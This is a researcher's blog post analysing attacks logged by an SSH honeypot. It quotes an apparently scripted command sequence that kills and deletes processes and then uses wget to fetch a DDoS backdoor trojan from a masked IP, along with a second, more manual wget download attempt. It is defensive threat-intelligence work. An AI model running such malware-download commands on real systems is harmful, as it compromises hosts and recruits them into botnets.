Trojan Horse Uploaded

Last week I implemented a basic shell CLI (command-line interface) emulator to the honeypot. The emulator isn't interactive since it doesn't respond to any commands. However, it does log all entered commands.

This week the honeypot has seen its first attack on the shell CLI emulator. As expected, once authorised (with the password "123456" and username "root"), the attacker tried to upload a trojan horse to the honeypot using the wget command.

The challenge for the upcoming weeks is to analyse the uploaded code to see what it actually does. More on that later.

Analysing the shell attacks

The first shell attack came in on Saturday 16th November 2013 at 14:00:23 and is shown below. I've masked the attackers IP address to keep identities anonymous.

The log shows that the attacker first enters the command killall disknyp at 14:00:23, followed by the command killall disknop at 14:00:24. As stated in the linux manual (man killall) the killall command: "is used to kill (i.e., terminate) all processes (i.e., running instances of programs) associated with programs whose names are provided to it as arguments".

So the attacker starts her attack by killing all processes named disknyp and disknop. The attacker then executes the commands rm -f disknyp and rm -f disknop. The rm command (linux man rm) is used to remove files or directories. The -f flag "does not prompt before removing a write-protected file. Does not display an error message or return error status if a specified file does not exist".

At this point the attacker has stopped all processes named disknyp and disknop and then removed the files named disknyp and disknop. Finally, at 14:00:27, the command wget http://198.*.***.***:22/disknyp is executed. The wget command (linux man wget) simply downloads a remote file. In this case the wget command is used to download the file located at http://198.*.***.***:22/disknyp (remember I've masked the IP address to keep identities anonymous).

So what is the file disknyp and what does it do? I Googled around and found an analysis of the file at malwr.com and virustotal.com. The analysis reveals that the file contains a virus, labelled by DrWeb as Linux.DDoS.1 and by F-Secure as Backdoor:Linux/DDoS.B.

According to Microsoft Protection Center, Backdoor:Linux/DDoS.B is summarised as: "...a backdoor trojan. A backdoor trojan provides remote, usually surreptitious, access to affected systems. A backdoor trojan may be used to conduct distributed denial of service (DDoS) attacks, or it may be used to install additional trojans or other forms of malicious software. For example, it might be used to install a downloader or dropper trojan, which may in turn install a proxy trojan used to relay spam or a keylogger trojan which monitors and sends keystrokes to remote attackers. It might also open ports on the affected system and thus potentially lead to further compromise by other attackers".

So the attacker tried to upload a trojan to the honeypot and that trojan would most likely be used to turn the honeypot into a bot (see What are Bots, Botnets and Zombies?).

What's most interesting about the attack is that it looks very much like an automated process (or script) entered the commands. When you look at the timings they're only seconds apart: 14:00:23, 14:00:24, 14:00:25, 14:00:26 and 14:00:27. Also, the exact same attack occurs again three and a half hours later:

So the attack looks like a script which is programmed to login to remote shells and execute the same command which uploads a trojan and, presumably, turns that host into a bot.

Another attack, from a different IP, came in on Monday 18th November 2013 at 19:08:56 and is shown below. Again, IP addresses have been masked to maintain anonymous identities.

What's intersting about this attack is that the timing look a little more human. The command wget http://117.**.***.***:8080/zymoran is entered at 19:08:56. At this point the attacker is presumably waiting for wget to fetch the remote file. Ten seconds later, at 19:09:06, the same command is entered again.

Presumably the attacker is a little confused at this point since the emulated shell CLI is currently not interactive: nothing is being printed to the attackers screen other than a prompt for the next command. So the attacker enters the command netuname -a which looks like a typeo. Finally the command uname -a is entered (linux man uname) which should print system information, for example:

Linux charles 3.2.0-41-generic-pae #66-Ubuntu SMP Thu Apr 25 03:50:20 UTC 2013 i686 i686 i386 GNU/Linux

However, the honeypot isn't currently interactive so the command doesn't return anything to the attacker. At this point, since the attacker isn't getting anything from the honeypot, she leaves.

Another interesting observation of the log files this week is that many attackers have been entering the correct username and password ("root" and "123456"). However, most of these attackers aren't requesting a pseudo-terminal (RFC 525, section 6.2. Requesting a Pseudo-Terminal). Instead, the attacker just disconnects.

The first shell attack I received on Saturday (described earlier in this post) used this exact tactic: the attacker used a brute-force attempt to find the correct username and password, didn't request a pseudo terminal and disconnected. Then later, they logged in (with a pseudo terminal request) and started the shell attack at 14:00:23.

I'm assuming that most login attempts on the honeypot are from automated scripts which brute-force SSH connections until they find a working username and password. These usernames and passwords are probably then logged for later attacks (as seen above).

Analysing malware

I've Googled around and found various resources which analyse some of the malware I've received. But to really find out what's going on I want to dynamically analyse the malware as it's executing.

This week I contacted Dr Lorenzo Cavallaro from the Information Security Group (Royal Holloway, University of London) to ask advice on how best to execute the uploaded malware in a safe environment in order to dynamically analyse it. A big thank you to Lorenzo for pointing me in the right direction of the tools: Cuckoo, Honeywall and Sebek :) I shall be exploring them this week.

I also attended a fascinating lecture on Wednesday evening presented by Dr Lorenzo Cavallaro at the Royal Holloway, University of London campus entitled "Malicious Software: should we care?".

In the talk, Lorenzo outlined research on the Torpig botnet (Researchers hijack control of Torpig botnet): the research used a technique known as sinkholing by reverse engineering the DGA (domain generation algorithm) of Torpig (used for domain flux).

As a result: the research team were able to see inside the Torpig botnet and collect information from its various attacks. The research paper entitled "Your Botnet is My Botnet: Analysis of a Botnet Takeover" can be viewed here. Fascinating research which has inspired me.

This past week I've also been engrossed in the book "Hacking: The Art of Exploitation" by Jon Erickson. The book introduces the term "hacking" and "uses practical examples to illustrate the most common computer security issues in three related fields: programming, networking and cryptography". The book has been incredibly insightful to explore how C code is compiled along with it's architecture (which relates to the Compilers and Computer Architecture module I took last year at uni) and where vulnerabilities can be found - very useful for this project.

Image credit: "W1K - Bronze Horse - Bronze Age Trojan Horse (2011)" by vintagedept, flickr.com/photos/vintagedept/9501085229

About the author

Simon Bell is an award-winning Cyber Security Researcher, Software Engineer, and Web Security Specialist. Simon's research papers have been published internationally, and his findings have featured in Ars Technica, The Hacker News, PC World, among others. He founded Secure Honey, an open-source honeypot and threat intelligence project, in 2013. He has a PhD in Cyber Security from Royal Holloway's world-leading Information Security Group.

Follow Simon on Twitter: @SimonByte